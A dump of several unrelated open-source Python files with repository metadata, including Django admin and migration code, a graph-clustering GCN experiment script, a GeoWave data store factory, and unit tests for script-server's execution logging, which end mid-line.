215e4d2617ac9be91bb9d561bbfc552349cd4781

[ "MIT" ]

79

2018-03-18T14:26:47.000Z

2022-03-01T15:51:40.000Z

src/associations/admin.py

codacy-badger/hbscorez

215e4d2617ac9be91bb9d561bbfc552349cd4781

[ "MIT" ]

4

2018-05-18T15:39:56.000Z

2020-10-29T09:28:41.000Z

from django.contrib import admin from .models import Association admin.site.register(Association)

16.666667

32

0.83

2cbcdd913913e88463399e07575b6a9bd2e61922

21,719

py

Python

experiments_singlegraph.py

wangshgeo/clusternet

06904af279b4d98d894f3e33173ece2d62cffa2d

[ "MIT" ]

null

experiments_singlegraph.py

wangshgeo/clusternet

06904af279b4d98d894f3e33173ece2d62cffa2d

[ "MIT" ]

null

experiments_singlegraph.py

wangshgeo/clusternet

06904af279b4d98d894f3e33173ece2d62cffa2d

[ "MIT" ]

null

from pygcn import load_data import torch import argparse import numpy as np import torch.optim as optim import torch.nn as nn import sklearn from kcenter import make_all_dists, greedy_kcenter, gonzalez_kcenter, CenterObjective, make_dists_igraph, rounding from models import GCNLink, GCNClusterNet, GCNDeep, GCNDeepSigmoid, GCN from utils import make_normalized_adj, negative_sample, edge_dropout, load_nofeatures from modularity import baseline_spectral, partition, greedy_modularity_communities, make_modularity_matrix from loss_functions import loss_kcenter, loss_modularity parser = argparse.ArgumentParser() parser.add_argument('--no-cuda', action='store_true', default=True, help='Disables CUDA training.') parser.add_argument('--seed', type=int, default=24, help='Random seed.') parser.add_argument('--lr', type=float, default=0.01, help='Initial learning rate.') parser.add_argument('--weight_decay', type=float, default=5e-4, help='Weight decay (L2 loss on parameters).') parser.add_argument('--hidden', type=int, default=50, help='Number of hidden units.') parser.add_argument('--dropout', type=float, default=0.5, help='Dropout rate (1 - keep probability).') parser.add_argument('--embed_dim', type=int, default=50, help='Dimensionality of node embeddings') parser.add_argument('--K', type=int, default=5, help='How many partitions') parser.add_argument('--negsamplerate', type=int, default=1, help='How many negative examples to include per positive in link prediction training') parser.add_argument('--edge_dropout', type=float, default=0.2, help='Rate at which to remove edges in link prediction training') parser.add_argument('--objective', type=str, default='modularity', help='What objective to optimize (currently kenter or modularity)') parser.add_argument('--dataset', type=str, default='citeseer', help='which network to load') parser.add_argument('--clustertemp', type=float, default=30, help='how hard to make the softmax for the cluster assignments') parser.add_argument('--kcentertemp', type=float, default=100, help='how hard to make seed selection softmax assignment') parser.add_argument('--kcentermintemp', type=float, default=0, help='how hard to make the min over nodes in kcenter training objective') parser.add_argument('--train_pct', type=float, default=0.4, help='percent of total edges in training set') parser.add_argument('--calculate_opt', action='store_true', default=False, help='calculate opt') parser.add_argument('--pure_opt', action='store_true', default=False, help='do only optimization, no link prediction needed') parser.add_argument('--use_igraph', action='store_true', default=True, help='use igraph to compute shortest paths in twostage kcenter') parser.add_argument('--run_ts', action='store_true', default=False, help='do only optimization, no link prediction needed') parser.add_argument('--train_iters', type=int, default=1001, help='number of training iterations') parser.add_argument('--num_cluster_iter', type=int, default=1, help='number of iterations for clustering') args = parser.parse_args() args.cuda = not args.no_cuda and torch.cuda.is_available() print(args.cuda) if torch.cuda.is_available(): args.cuda = True# args.no_cuda and torch.cuda.is_available() print(args.cuda) np.random.seed(args.seed) torch.manual_seed(args.seed) if args.cuda: torch.cuda.manual_seed(args.seed) pure_opt = args.pure_opt reload_data = True test_cluster_auc = False calculate_opt = args.calculate_opt make_objectives = False if reload_data: make_objectives = True calculate_dists = False run_decision = True run_ts = args.run_ts run_gcne2e = True run_train_only = True has_features = True ############################################################################## #LOAD DATA ############################################################################## train_pct = args.train_pct if reload_data: if has_features: adj_test, features_test, labels, idx_train, idx_val, idx_test = load_data('data/{}/'.format(args.dataset), '{}_test_{:.2f}'.format(args.dataset, train_pct)) adj_valid, features_valid, labels, idx_train, idx_val, idx_test = load_data('data/{}/'.format(args.dataset), '{}_valid_{:.2f}'.format(args.dataset, train_pct)) adj_train, features_train, labels, idx_train, idx_val, idx_test = load_data('data/{}/'.format(args.dataset), '{}_train_{:.2f}'.format(args.dataset, train_pct)) else: adj_all, features, labels = load_nofeatures(args.dataset, '') features_train = features features_test = features n = adj_all.shape[0] adj_train, features, labels = load_nofeatures(args.dataset, '_train_{:.2f}'.format(train_pct), n) adj_test, features, labels = load_nofeatures(args.dataset, '_test_{:.2f}'.format(train_pct), n) adj_valid, features, labels = load_nofeatures(args.dataset, '_valid_{:.2f}'.format(train_pct), n) adj_test = adj_test.coalesce() adj_valid = adj_valid.coalesce() adj_train = adj_train.coalesce() n = adj_train.shape[0] K = args.K bin_adj_test = (adj_test.to_dense() > 0).float() bin_adj_train = (adj_train.to_dense() > 0).float() m_train = bin_adj_train.sum() bin_adj_valid = (adj_valid.to_dense() > 0).float() bin_adj_all = (bin_adj_train + bin_adj_test + bin_adj_valid > 0).float() adj_all = make_normalized_adj(bin_adj_all.nonzero(), n) nfeat = features_test.shape[1] adj_all, features_test, labels, idx_train, idx_val, idx_test = load_data('data/{}/'.format(args.dataset), '{}'.format(args.dataset)) adj_all = adj_all.coalesce() adj_test = adj_all bin_adj_all = (adj_all.to_dense() > 0).float() n = adj_all.shape[0] K= args.K nfeat = features_test.shape[1] ############################################################################## #INITIALIZE MODELS ############################################################################## # Model and optimizer model_ts = GCNLink(nfeat=nfeat, nhid=args.hidden, nout=args.embed_dim, dropout=args.dropout) model_cluster = GCNClusterNet(nfeat=nfeat, nhid=args.hidden, nout=args.embed_dim, dropout=args.dropout, K = args.K, cluster_temp = args.clustertemp) #keep a couple of initializations here so that the random seeding lines up #with results reported in the paper -- removing these is essentially equivalent to #changing the seed _ = GCN(nfeat, args.hidden, args.embed_dim, args.dropout) _ = nn.Parameter(torch.rand(K, args.embed_dim)) #uses GCNs to predict the cluster membership of each node model_gcn = GCNDeep(nfeat=nfeat, nhid=args.hidden, nout=args.K, dropout=args.dropout, nlayers=2) #uses GCNs to predict the probability that each node appears in the solution model_gcn_x = GCNDeepSigmoid(nfeat=nfeat, nhid=args.hidden, nout=1, dropout=args.dropout, nlayers=2) if args.objective == 'kcenter': model_gcn = model_gcn_x optimizer = optim.Adam(model_cluster.parameters(), lr=args.lr, weight_decay=args.weight_decay) if args.cuda: model_cluster.cuda() model_ts.cuda() features = features.cuda() adj_train = adj_train.cuda() labels = labels.cuda() idx_train = idx_train.cuda() idx_val = idx_val.cuda() idx_test = idx_test.cuda() losses = [] losses_test = [] num_cluster_iter = args.num_cluster_iter ############################################################################## #MAKE AUXILIARY DATA FOR OBJECTIVES ############################################################################## if make_objectives: if args.objective == 'kcenter': try: dist_all = torch.load('{}_test_dist.pt'.format(args.dataset)) dist_train = torch.load('{}_{}_train_dist.pt'.format(args.dataset, train_pct)) diameter = dist_all.max() except: dist_all = make_all_dists(bin_adj_all, 100) diameter = dist_all[dist_all < 100].max() dist_all[dist_all == 100] = diameter torch.save(dist_all, '{}_test_dist.pt'.format(args.dataset)) dist_train = make_all_dists(bin_adj_train, 100) dist_train[dist_train == 100] = diameter torch.save(dist_train, '{}_{}_train_dist.pt'.format(args.dataset, train_pct)) obj_train = CenterObjective(dist_train, diameter, args.kcentermintemp) obj_train_hardmax = CenterObjective(dist_train, diameter, args.kcentermintemp, hardmax=True) obj_test = CenterObjective(dist_all, diameter, args.kcentertemp, hardmax=True) obj_test_softmax = CenterObjective(dist_all, diameter, args.kcentermintemp) if args.objective == 'modularity': mod_train = make_modularity_matrix(bin_adj_train) mod_test = make_modularity_matrix(bin_adj_test) mod_valid = make_modularity_matrix(bin_adj_valid) mod_all = make_modularity_matrix(bin_adj_all) ############################################################################## #DEFINE LOSS FUNCTIONS ############################################################################## if args.objective == 'modularity': loss_fn = loss_modularity test_object = mod_all train_object = mod_train test_only_object = mod_test valid_object = mod_valid elif args.objective == 'kcenter': loss_fn = loss_kcenter test_object= obj_test train_object = obj_train test_only_object = None valid_object = None else: raise Exception('unknown objective') ############################################################################## #TRAIN DECISION-FOCUSED ############################################################################## #Decision-focused training best_train_val = 100 if run_decision: for t in range(args.train_iters): #pure optimization setting: get loss with respect to the full graph if pure_opt: mu, r, embeds, dist = model_cluster(features_test, adj_all, num_cluster_iter) loss = loss_fn(mu, r, embeds, dist, bin_adj_all, test_object, args) #link prediction setting: get loss with respect to training edges only else: mu, r, embeds, dist = model_cluster(features_train, adj_train, num_cluster_iter) loss = loss_fn(mu, r, embeds, dist, bin_adj_train, train_object, args) if args.objective != 'kcenter': loss = -loss optimizer.zero_grad() loss.backward() #increase number of clustering iterations after 500 updates to fine-tune #solution if t == 500: num_cluster_iter = 5 #every 100 iterations, look and see if we've improved on the best training loss #seen so far. Keep the solution with best training value. if t % 100 == 0: #round solution to discrete partitioning if args.objective == 'modularity': r = torch.softmax(100*r, dim=1) #evalaute test loss -- note that the best solution is #chosen with respect training loss. Here, we store the test loss #of the currently best training solution loss_test = loss_fn(mu, r, embeds, dist, bin_adj_all, test_object, args) #for k-center problem, keep track of the fractional x with best #training loss, to do rounding after if loss.item() < best_train_val: best_train_val = loss.item() curr_test_loss = loss_test.item() #convert distances into a feasible (fractional x) x_best = torch.softmax(dist*args.kcentertemp, 0).sum(dim=1) x_best = 2*(torch.sigmoid(4*x_best) - 0.5) if x_best.sum() > K: x_best = K*x_best/x_best.sum() losses.append(loss.item()) optimizer.step() #for k-center: round 50 times and take the solution with best training #value if args.objective == 'kcenter': testvals = []; trainvals = [] for _ in range(50): y = rounding(x_best) testvals.append(obj_test(y).item()) trainvals.append(obj_train(y).item()) print('ClusterNet value', testvals[np.argmin(trainvals)]) if args.objective == 'modularity': print('ClusterNet value', curr_test_loss) ############################################################################## #TRAIN TWO-STAGE ############################################################################## def train_twostage(model_ts): optimizer_ts = optim.Adam(model_ts.parameters(), lr=args.lr, weight_decay=args.weight_decay) edges = adj_train.indices().t() edges_test = adj_test.indices().t() edges_test_eval, labels_test_eval = negative_sample(edges_test, 1, bin_adj_train) # print(edges_test_eval) for t in range(300): adj_input = make_normalized_adj(edge_dropout(edges, args.edge_dropout), n) edges_eval, labels = negative_sample(edges, args.negsamplerate, bin_adj_train) preds = model_ts(features_train, adj_input, edges_eval) loss = torch.nn.BCEWithLogitsLoss()(preds, labels) optimizer_ts.zero_grad() loss.backward() if t % 10 == 0: preds_test_eval = model_ts(features_train, adj_input, edges_test_eval) test_ce = torch.nn.BCEWithLogitsLoss()(preds_test_eval, labels_test_eval) test_auc = sklearn.metrics.roc_auc_score(labels_test_eval.long().detach().numpy(), nn.Sigmoid()(preds_test_eval).detach().numpy()) print(t, loss.item(), test_ce.item(), test_auc) optimizer_ts.step() if test_cluster_auc: model_linkpred = GCNLink(nfeat=nfeat, nhid=args.hidden, nout=args.embed_dim, dropout=args.dropout) model_linkpred.GCN = model_cluster.GCN model_linkpred.GCN.requires_grad = False train_twostage(model_linkpred) calculate_ts_performance = False if run_ts: print('two stage') train_twostage(model_ts) #predict probability that all unobserved edges exist indices = torch.tensor(np.arange(n)) to_pred = torch.zeros(n**2, 2) to_pred[:, 1] = indices.repeat(n) for i in range(n): to_pred[i*n:(i+1)*n, 0] = i to_pred = to_pred.long() preds = model_ts(features_train, adj_train, to_pred) preds = nn.Sigmoid()(preds).view(n, n) preds = bin_adj_train + (1 - bin_adj_train)*preds if args.objective == 'modularity': r = greedy_modularity_communities(preds, K) print('agglomerative', loss_fn(None, r, None, None, bin_adj_all, test_object, args)) r = partition(preds, K) print('recursive', loss_fn(None, r, None, None, bin_adj_all, test_object, args)) degrees = preds.sum(dim=1) preds = torch.diag(1./degrees)@preds mod_pred = make_modularity_matrix(preds) r = baseline_spectral(mod_pred, K) print('spectral', loss_fn(None, r, None, None, bin_adj_all, test_object, args)) elif args.objective == 'kcenter': try: dist_ts = torch.load('{}_twostage_dist.pt'.format(args.dataset)) print('loaded ts dists from {}'.format('{}_twostage_dist.pt'.format(args.dataset))) except: print('making dists') if args.use_igraph: print('using igraph') dist_ts = make_dists_igraph(preds) else: print('using networkx') dist_ts = make_all_dists(preds, 100) diameter = dist_ts[dist_ts < 100].max() dist_ts[dist_ts == 100] = diameter print('made dists') torch.save(dist_ts, '{}_twostage_dist.pt'.format(args.dataset)) dist_ts = dist_ts.float() diameter = dist_ts.max() x = gonzalez_kcenter(dist_ts, K) print('gonzalez ts', obj_train_hardmax(x), obj_test(x)) print(dist_ts.type(), diameter.type()) x = greedy_kcenter(dist_ts, diameter, K) print('greedy ts', obj_train_hardmax(x), obj_test(x)) ############################################################################## #TRAIN END-TO-END GCN ############################################################################## if run_gcne2e: print('just GCN') optimizer_gcn = optim.Adam(model_gcn.parameters(), lr = args.lr, weight_decay = args.weight_decay) if args.objective == 'modularity': best_train_val = 0 if args.objective == 'kcenter': best_train_val = 100 for t in range(1000): best_train_loss = 100 if pure_opt: if args.objective == 'modularity' or args.objective == 'maxcut': r = model_gcn(features_test, adj_all) r = torch.softmax(args.clustertemp*r, dim = 1) loss = -loss_fn(None, r, None, None, bin_adj_train, train_object, args) elif args.objective == 'kcenter' or args.objecive == 'influmax': x = model_gcn(features_test, adj_all) if x.sum() > K: x = K*x/x.sum() loss = -test_object(x) else: if args.objective == 'modularity' or args.objective == 'maxcut': r = model_gcn(features_train, adj_train) r = torch.softmax(r, dim = 1) loss = -loss_fn(None, r, None, None, bin_adj_train, train_object, args) elif args.objective == 'kcenter' or args.objecive == 'influmax': x = model_gcn(features_train, adj_train) if x.sum() > K: x = K*x/x.sum() loss = -train_object(x) if args.objective == 'kcenter': loss = -loss optimizer.zero_grad() loss.backward() if t % 100 == 0: if args.objective == 'modularity' or args.objective == 'maxcut': r = torch.softmax(100*r, dim=1) loss_test = loss_fn(None, r, None, None, bin_adj_all, test_object, args) loss_test_only = loss_fn(None, r, None, None, bin_adj_test, test_only_object, args) elif args.objective == 'kcenter' or args.objecive == 'influmax': loss_test = -test_object(x) loss_test_only = torch.tensor(0).float() losses_test.append(loss_test.item()) print(t, loss.item(), loss_test.item(), loss_test_only.item()) if loss.item() < best_train_val: curr_test_loss = loss_test.item() best_train_val = loss.item() if args.objective == 'kcenter' or args.objective == 'influmax': x_best = x losses.append(loss.item()) optimizer.step() if args.objective == 'kcenter': from influmax import rounding testvals = []; trainvals = []; trainvalshardmax = [] for _ in range(50): y = rounding(x_best) testvals.append(obj_test(y).item()) trainvals.append(obj_train(y).item()) trainvalshardmax.append(obj_train_hardmax(y).item()) print('train min', testvals[np.argmin(trainvals)]) print('hardmax train min', testvals[np.argmin(trainvalshardmax)]) print('absolute min', min(testvals)) if args.objective == 'modularity': print('train min', curr_test_loss) ############################################################################## #TRAIN-ONLY BASELINE ############################################################################## if run_train_only: if args.objective == 'modularity': preds = bin_adj_train r = greedy_modularity_communities(preds, K) print('agglomerative', loss_fn(None, r, None, None, bin_adj_all, test_object, args)) r = partition(preds, K) print('recursive', loss_fn(None, r, None, None, bin_adj_all, test_object, args)) degrees = preds.sum(dim=1) preds = torch.diag(1./degrees)@preds mod_pred = make_modularity_matrix(preds) r = baseline_spectral(mod_pred, K) print('spectral', loss_fn(None, r, None, None, bin_adj_all, test_object, args)) elif args.objective == 'kcenter': x = gonzalez_kcenter(dist_train, K) print('gonzalez train', obj_test(x)) x = greedy_kcenter(dist_train, diameter, K) print('greedy train', obj_test(x)) ############################################################################## #RUN BASELINE OPTIMIZATION ALGORITHMS ON FULL GRAPH ############################################################################## if calculate_opt: if args.objective == 'modularity': preds = bin_adj_all r = greedy_modularity_communities(preds, K) print('agglomerative', loss_fn(None, r, None, None, bin_adj_all, test_object, args)) r = partition(preds, K) print('recursive', loss_fn(None, r, None, None, bin_adj_all, test_object, args)) degrees = preds.sum(dim=1) preds = torch.diag(1./degrees)@preds mod_pred = make_modularity_matrix(preds) r = baseline_spectral(mod_pred, K) print('spectral', loss_fn(None, r, None, None, bin_adj_all, test_object, args)) elif args.objective == 'kcenter': x = gonzalez_kcenter(dist_all, K) print('gonzalez all', obj_test(x)) x = greedy_kcenter(dist_all, diameter, K) print('greedy all', obj_test(x))

43.61245

167

0.607026

8cc92739898e560a182b7af4b9579515e47e8dfd

110

py

Python

debug_diverse_data.py

williamdjones/proteinbinding

853d8c81afb19c6d8de9be7080ae00a54836dda1

[ "MIT" ]

1

2018-03-14T02:26:17.000Z

debug_diverse_data.py

williamdjones/proteinbinding

853d8c81afb19c6d8de9be7080ae00a54836dda1

[ "MIT" ]

9

2017-03-23T15:48:15.000Z

2017-04-20T16:37:49.000Z

debug_diverse_data.py

williamdjones/protein_binding

853d8c81afb19c6d8de9be7080ae00a54836dda1

[ "MIT" ]

null

import pandas as pd import os docking_df = pd.read_csv("data/diverse/docking_features_diverse_subset.csv")

15.714286

76

0.809091

6ddec07e10f79c4dbf7b96e57c3594dd8f99f0f9

1,313

py

Python

python/src/main/python/pygw/store/data_store_factory.py

Maxar-Corp/sh-geowave

675781d3898b50c09ee66f57e74cf788286b05d5

[ "Apache-2.0" ]

null

python/src/main/python/pygw/store/data_store_factory.py

Maxar-Corp/sh-geowave

675781d3898b50c09ee66f57e74cf788286b05d5

[ "Apache-2.0" ]

null

python/src/main/python/pygw/store/data_store_factory.py

Maxar-Corp/sh-geowave

675781d3898b50c09ee66f57e74cf788286b05d5

[ "Apache-2.0" ]

null

# # Copyright (c) 2013-2020 Contributors to the Eclipse Foundation # # See the NOTICE file distributed with this work for additional information regarding copyright # ownership. All rights reserved. This program and the accompanying materials are made available # under the terms of the Apache License, Version 2.0 which accompanies this distribution and is # available at http://www.apache.org/licenses/LICENSE-2.0.txt #=============================================================================================== from pygw.config import geowave_pkg from .data_store import DataStore from .data_store_options import DataStoreOptions class DataStoreFactory(): """ Factory class for creating a data store from a given set of options. """ @classmethod def create_data_store(cls, options): """ Creates a data store from a set of options for a specific backend type. Args: options (pygw.store.data_store_options.DataStoreOptions): The options for the data store. Returns: The `pygw.store.data_store.DataStore` referenced by the given options. """ assert isinstance(options, DataStoreOptions) j_ds = geowave_pkg.core.store.api.DataStoreFactory.createDataStore(options._java_ref) return DataStore(j_ds)

38.617647

101

0.678599

4e4feeb853ab1749a6f011e2ea5852f46e743cac

1,709

py

Python

app/core/migrations/0001_initial.py

FabianIAM12/recipe-app-api

a529248270db2220a5936fa4c662091048f2c0bf

[ "MIT" ]

null

app/core/migrations/0001_initial.py

FabianIAM12/recipe-app-api

a529248270db2220a5936fa4c662091048f2c0bf

[ "MIT" ]

null

app/core/migrations/0001_initial.py

FabianIAM12/recipe-app-api

a529248270db2220a5936fa4c662091048f2c0bf

[ "MIT" ]

null

# Generated by Django 2.1.15 on 2020-07-05 17:59 from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ('auth', '0009_alter_user_last_name_max_length'), ] operations = [ migrations.CreateModel( name='User', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('password', models.CharField(max_length=128, verbose_name='password')), ('last_login', models.DateTimeField(blank=True, null=True, verbose_name='last login')), ('is_superuser', models.BooleanField(default=False, help_text='Designates that this user has all permissions without explicitly assigning them.', verbose_name='superuser status')), ('email', models.EmailField(max_length=255, unique=True)), ('name', models.CharField(max_length=255)), ('is_active', models.BooleanField(default=True)), ('is_staff', models.BooleanField(default=False)), ('groups', models.ManyToManyField(blank=True, help_text='The groups this user belongs to. A user will get all permissions granted to each of their groups.', related_name='user_set', related_query_name='user', to='auth.Group', verbose_name='groups')), ('user_permissions', models.ManyToManyField(blank=True, help_text='Specific permissions for this user.', related_name='user_set', related_query_name='user', to='auth.Permission', verbose_name='user permissions')), ], options={ 'abstract': False, }, ), ]

50.264706

266

0.63897

8952078bcaa4f85bb92e1fccbf2222a2d363abf3

77

py

Python

a/a.py

bosichong/17python.com

378754e1288b444ab3657093aa18b7e3f03b5145

[ "Apache-2.0" ]

9

2017-09-02T05:54:06.000Z

2019-04-11T02:34:41.000Z

a/a.py

bosichong/17python.com

378754e1288b444ab3657093aa18b7e3f03b5145

[ "Apache-2.0" ]

null

a/a.py

bosichong/17python.com

378754e1288b444ab3657093aa18b7e3f03b5145

[ "Apache-2.0" ]

6

2017-10-25T02:47:45.000Z

2019-12-21T06:35:01.000Z

#codeing=utf-8 M_TEST = 888 def print_text(): print('这a.py下的一个打印文字函数')

11

28

0.675325

eb14086ff15c64e7bfb89902408e5d51db6bbc70

780

py

Python

vb_baseapp/management/template_structures/models/basemodel.py

vbyazilim/django-vb-baseapp

83a62a9d7cb349351ea64aeeb616afe9a94cda5d

[ "MIT" ]

null

vb_baseapp/management/template_structures/models/basemodel.py

vbyazilim/django-vb-baseapp

83a62a9d7cb349351ea64aeeb616afe9a94cda5d

[ "MIT" ]

1

2021-10-30T16:44:15.000Z

vb_baseapp/management/template_structures/models/basemodel.py

vbyazilim/django-vb-baseapp

83a62a9d7cb349351ea64aeeb616afe9a94cda5d

[ "MIT" ]

null

""" CustomBaseModel template for model generator """ TEMPLATE_MODEL_BASEMODEL = """import logging from django.db import models from django.utils.translation import ugettext_lazy as _ from console import console from vb_baseapp.models import CustomBaseModel __all__ = ['{model_name_for_class}'] logger = logging.getLogger('app') console = console(source=__name__) class {model_name_for_class}(CustomBaseModel): title = models.CharField(max_length=255, verbose_name=_('title')) class Meta: app_label = '{app_name}' verbose_name = _('{model_name_for_verbose_name}') verbose_name_plural = _('{model_name_for_verbose_name}s') # check pluralization def __str__(self): return self.title """ __all__ = ['TEMPLATE_MODEL_BASEMODEL']

22.941176

88

0.739744

b760623ef755302886e03e31c2a12ee7fc1ecd9a

13,086

py

Python

src/tests/execution_logging_test.py

dendisuhubdy/script-server

3ffb2e6afdc1672a6ed3e56dcc31ff1794785142

[ "Apache-2.0", "CC0-1.0" ]

null

src/tests/execution_logging_test.py

dendisuhubdy/script-server

3ffb2e6afdc1672a6ed3e56dcc31ff1794785142

[ "Apache-2.0", "CC0-1.0" ]

null

src/tests/execution_logging_test.py

dendisuhubdy/script-server

3ffb2e6afdc1672a6ed3e56dcc31ff1794785142

[ "Apache-2.0", "CC0-1.0" ]

null

import os import unittest import uuid from datetime import datetime, timedelta from execution.logging import ScriptOutputLogger, ExecutionLoggingService, OUTPUT_STARTED_MARKER, \ PostExecutionInfoProvider, LogNameCreator from react.observable import Observable from tests import test_utils from utils import file_utils, audit_utils from utils.date_utils import get_current_millis, ms_to_datetime, to_millis class TestScriptOutputLogging(unittest.TestCase): def test_open(self): self.output_logger = self.create_logger() self.output_logger.start() self.assertTrue(self.is_file_opened()) def test_close(self): self.output_logger = self.create_logger() self.output_logger.start() self.output_stream.close() self.assertFalse(self.is_file_opened()) def test_simple_log(self): self.output_logger = self.create_logger() self.output_logger.start() self.output_stream.push('some text') self.output_stream.close() self.assertEqual(self.read_log(), 'some text') def test_multiple_logs(self): self.output_logger = self.create_logger() self.output_logger.start() self.output_stream.push('some text') self.output_stream.push('\nand a new line') self.output_stream.push(' with some long long text') self.output_stream.close() self.assertEqual(self.read_log(), 'some text\nand a new line with some long long text') def test_log_without_open(self): self.output_logger = self.create_logger() self.output_stream.push('some text') self.assertIsNone(self.read_log()) def test_caret_return(self): self.output_logger = self.create_logger() self.output_logger.start() self.output_stream.push('some text\r') self.output_stream.push('another text') self.output_stream.close() self.assertEqual(self.read_log(), 'some text\ranother text') def create_logger(self): self.file_path = os.path.join(test_utils.temp_folder, 'TestScriptOutputLogging.log') self.logger = ScriptOutputLogger(self.file_path, self.output_stream) return self.logger def read_log(self): if self.file_path and os.path.exists(self.file_path): return file_utils.read_file(self.file_path, keep_newlines=True) return None def is_file_opened(self): if self.output_logger.log_file: return not self.output_logger.log_file.closed return False def setUp(self): self.output_stream = Observable() test_utils.setup() super().setUp() def tearDown(self): self.output_stream.close() self.output_logger._close() test_utils.cleanup() super().tearDown() def _replace_line_separators(files, original, new): for file in files: content = file_utils.read_file(file, byte_content=True) replaced_content = content.decode('utf-8').replace(original, new).encode('utf-8') file_utils.write_file(file, replaced_content, byte_content=True) class TestLoggingService(unittest.TestCase): def test_no_history_entries(self): entries = self.logging_service.get_history_entries() self.assertEqual(0, len(entries)) def test_when_write_log_then_log_file_created(self): self.simulate_logging() log_files = self.get_log_files() self.assertEqual(1, len(log_files)) def test_when_write_log_then_file_content_correct(self): self.simulate_logging(log_lines=['line 1', 'some text']) log_file = self.get_log_files()[0] log_content = self.read_logs_only(log_file) self.assertEqual('line 1\nsome text\n', log_content) def test_write_log_with_caret_return(self): self.simulate_logging(log_lines=['line 1\r', 'some text\r']) log_file = self.get_log_files()[0] log_content = self.read_logs_only(log_file) self.assertEqual('line 1\r\nsome text\r\n', log_content) def test_when_different_users_then_independent_files(self): self.simulate_logging(user_name='user1', log_lines=['text for user1']) self.simulate_logging(user_name='user2', log_lines=['user2 message']) user1_log_file = self.get_log_files('user1')[0] self.assertEqual('text for user1\n', self.read_logs_only(user1_log_file)) user2_log_file = self.get_log_files('user2')[0] self.assertEqual('user2 message\n', self.read_logs_only(user2_log_file)) def test_get_history_entries_when_one(self): start_time = get_current_millis() self.simulate_logging(execution_id='id1', user_name='user1', script_name='My script', log_lines=['some text'], start_time_millis=start_time, command='./script.sh -p p1 --flag') entries = self.logging_service.get_history_entries() self.assertEqual(1, len(entries)) entry = entries[0] self.validate_history_entry(entry, id='id1', user_name='user1', script_name='My script', start_time=start_time, command='./script.sh -p p1 --flag') def test_no_history_for_wrong_file(self): log_path = os.path.join(test_utils.temp_folder, 'wrong.log') file_utils.write_file(log_path, 'log\ntext\n') logs = self.logging_service.get_history_entries() self.assertEqual(0, len(logs)) def test_multiline_command_in_history(self): self.simulate_logging(execution_id='id1', command='./script.sh -p a\nb -p2 "\n\n\n"') entries = self.logging_service.get_history_entries() self.assertEqual(1, len(entries)) entry = entries[0] self.validate_history_entry(entry, id='id1', command='./script.sh -p a\nb -p2 "\n\n\n"') def test_get_log_by_id(self): self.simulate_logging(execution_id='id_X', log_lines=['line1', '2', '', 'END']) log = self.logging_service.find_log('id_X') self.assertEqual('line1\n2\n\nEND\n', log) def test_get_log_by_wrong_id(self): self.simulate_logging(execution_id='1', log_lines=['text']) log = self.logging_service.find_log('2') self.assertIsNone(log) def test_exit_code_in_history(self): self.exit_codes['1'] = 13 self.simulate_logging(execution_id='1', log_lines=['text']) entry = self.logging_service.get_history_entries()[0] self.validate_history_entry(entry, id='1', exit_code=13) def test_history_entries_after_restart(self): self.simulate_logging(execution_id='id1') new_service = ExecutionLoggingService(test_utils.temp_folder, LogNameCreator()) entry = new_service.get_history_entries()[0] self.validate_history_entry(entry, id='id1') def test_get_history_entries_after_delete(self): self.simulate_logging(execution_id='id1') for file in os.listdir(test_utils.temp_folder): os.remove(os.path.join(test_utils.temp_folder, file)) entries = self.logging_service.get_history_entries() self.assertCountEqual([], entries) def test_find_history_entry_after_delete(self): self.simulate_logging(execution_id='id1') for file in os.listdir(test_utils.temp_folder): os.remove(os.path.join(test_utils.temp_folder, file)) entry = self.logging_service.find_history_entry('id1') self.assertIsNone(entry) def test_find_history_entry(self): self.simulate_logging(execution_id='id1') entry = self.logging_service.find_history_entry('id1') self.assertIsNotNone(entry) self.validate_history_entry(entry, id='id1') def test_not_find_history_entry(self): self.simulate_logging(execution_id='id1') entry = self.logging_service.find_history_entry('id2') self.assertIsNone(entry) def test_find_history_entry_after_restart(self): self.simulate_logging(execution_id='id1') new_service = ExecutionLoggingService(test_utils.temp_folder, LogNameCreator()) entry = new_service.find_history_entry('id1') self.assertIsNotNone(entry) self.validate_history_entry(entry, id='id1') def test_entry_time_when_timezone(self): start_time_with_tz = datetime.strptime('2018-04-03T18:25:22+0230', "%Y-%m-%dT%H:%M:%S%z") self.simulate_logging(execution_id='id1', start_time_millis=to_millis(start_time_with_tz)) entry = self.logging_service.find_history_entry('id1') self.assertEqual(entry.start_time, start_time_with_tz) self.assertEqual(entry.start_time.utcoffset(), timedelta(hours=0, minutes=0)) def test_entry_with_user_id_name_different(self): self.simulate_logging(execution_id='id1', user_name='userX', user_id='192.168.2.12') entry = self.logging_service.find_history_entry('id1') self.validate_history_entry(entry, id='id1', user_name='userX', user_id='192.168.2.12') def test_find_entry_when_windows_line_seperator(self): self.simulate_logging(execution_id='id1', user_name='userX', user_id='192.168.2.12') _replace_line_separators(self.get_log_files(), '\n', '\r\n') entry = self.logging_service.find_history_entry('id1') self.validate_history_entry(entry, id='id1', user_name='userX', user_id='192.168.2.12') def test_find_log_when_windows_line_seperator(self): self.simulate_logging(execution_id='id1', log_lines=['hello', 'wonderful', 'world']) _replace_line_separators(self.get_log_files(), '\n', '\r\n') log = self.logging_service.find_log('id1') self.assertEqual('hello\r\nwonderful\r\nworld\r\n', log) def validate_history_entry(self, entry, *, id, user_name='userX', user_id=None, script_name='my_script', start_time='IGNORE', command='cmd', exit_code=0): if user_id is None: user_id = user_name self.assertEqual(id, entry.id) self.assertEqual(user_name, entry.user_name) self.assertEqual(user_id, entry.user_id) self.assertEqual(script_name, entry.script_name) self.assertEqual(command, entry.command) if start_time != 'IGNORE': self.assertEqual(ms_to_datetime(start_time), entry.start_time) self.assertEqual(exit_code, entry.exit_code) def read_logs_only(self, log_file): content = file_utils.read_file(log_file, keep_newlines=True) self.assertTrue(OUTPUT_STARTED_MARKER in content) log_start = content.index(OUTPUT_STARTED_MARKER) + len(OUTPUT_STARTED_MARKER) + 1 return content[log_start:] def simulate_logging(self, execution_id=None, user_name='userX', user_id=None, script_name='my_script', command='cmd', log_lines=None, start_time_millis=None): if not execution_id: execution_id = str(uuid.uuid1()) if user_id is None: user_id = user_name output_stream = Observable() all_audit_names = {audit_utils.AUTH_USERNAME: user_id} self.logging_service.start_logging( execution_id, user_name, user_id, script_name, command, output_stream, self.post_info_provider, all_audit_names, start_time_millis) if log_lines: for line in log_lines: output_stream.push(line + '\n') output_stream.close() @staticmethod def get_log_files(pattern=None): files = 